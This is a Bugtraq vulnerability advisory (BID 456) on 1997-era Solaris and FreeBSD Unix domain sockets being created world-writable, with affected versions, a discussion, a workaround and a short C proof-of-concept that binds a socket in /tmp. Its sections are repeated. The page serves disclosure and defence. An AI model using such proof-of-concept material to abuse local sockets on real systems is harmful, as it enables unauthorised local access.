Multiple Vendor Unix Domain Socket Vulnerability
BID:456
Info
Multiple Vendor Unix Domain Socket Vulnerability
| Bugtraq ID: | 456 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 19 1997 12:00AM |
| Updated: | Jun 19 1997 12:00AM |
| Credit: | Problem first posted to BugTraq by Thamer Al-Herbish <[email protected]> on May 17, 1997. Mentioned again in a post to BugTraq Wojciech Tryc <[email protected]> on October 3, 1997. |
| Vulnerable: |
Sun Solaris 2.5.1 _x86 Sun Solaris 2.5.1 _ppc Sun Solaris 2.5.1 Sun Solaris 2.6_x86 Sun Solaris 2.6 Sun Solaris 2.5_x86 Sun Solaris 2.5 FreeBSD FreeBSD 3.1 FreeBSD FreeBSD 3.0 FreeBSD FreeBSD 2.2.8 FreeBSD FreeBSD 2.2.6 FreeBSD FreeBSD 2.2.5 FreeBSD FreeBSD 2.2.4 FreeBSD FreeBSD 2.2.3 FreeBSD FreeBSD 2.2.2 |
| Not Vulnerable: |
Sun Solaris 7.0 FreeBSD FreeBSD 3.2 |
Discussion
Multiple Vendor Unix Domain Socket Vulnerability
Solaris 2.6 and many other unices/clones have a serious problem with their unix domain socket implementation that has it's origins in old BSD code. Any unix socket created by any application is set mode 4777. In Solaris versions 2.5 and earlier, the permissions were ignored completely. The applications are vulnerable to being connected to and written to by anyone. This could lead to a whole number of application-specific security compromises.
Solaris 2.6 and many other unices/clones have a serious problem with their unix domain socket implementation that has it's origins in old BSD code. Any unix socket created by any application is set mode 4777. In Solaris versions 2.5 and earlier, the permissions were ignored completely. The applications are vulnerable to being connected to and written to by anyone. This could lead to a whole number of application-specific security compromises.
Exploit / POC
Multiple Vendor Unix Domain Socket Vulnerability
Here is some sample code (by Nirva):
#include <stdio.h>
#include <stdlib.h>
#include <sys/un.h>
#include <sys/socket.h>
main(int argc, char *argv[])
{
struct sockaddr_un addr;
int s;
s = socket(AF_UNIX, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/yoursocket");
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
exit(1);
}
sleep(100);
exit(0);
}
Here is some sample code (by Nirva):
#include <stdio.h>
#include <stdlib.h>
#include <sys/un.h>
#include <sys/socket.h>
main(int argc, char *argv[])
{
struct sockaddr_un addr;
int s;
s = socket(AF_UNIX, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/yoursocket");
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
exit(1);
}
sleep(100);
exit(0);
}
Solution / Fix
Multiple Vendor Unix Domain Socket Vulnerability
Solution:
The socket that you require exclusive or secure communication with should be in a directory where the allowed userid or groupid has execute permission (on the directory).
Miroslaw Kurzak <[email protected]> has made Security Focus aware that FreeBSD 3.2-STABLE has corrected this problem.
Solution:
The socket that you require exclusive or secure communication with should be in a directory where the allowed userid or groupid has execute permission (on the directory).
Miroslaw Kurzak <[email protected]> has made Security Focus aware that FreeBSD 3.2-STABLE has corrected this problem.
References
Multiple Vendor Unix Domain Socket Vulnerability
References:
References: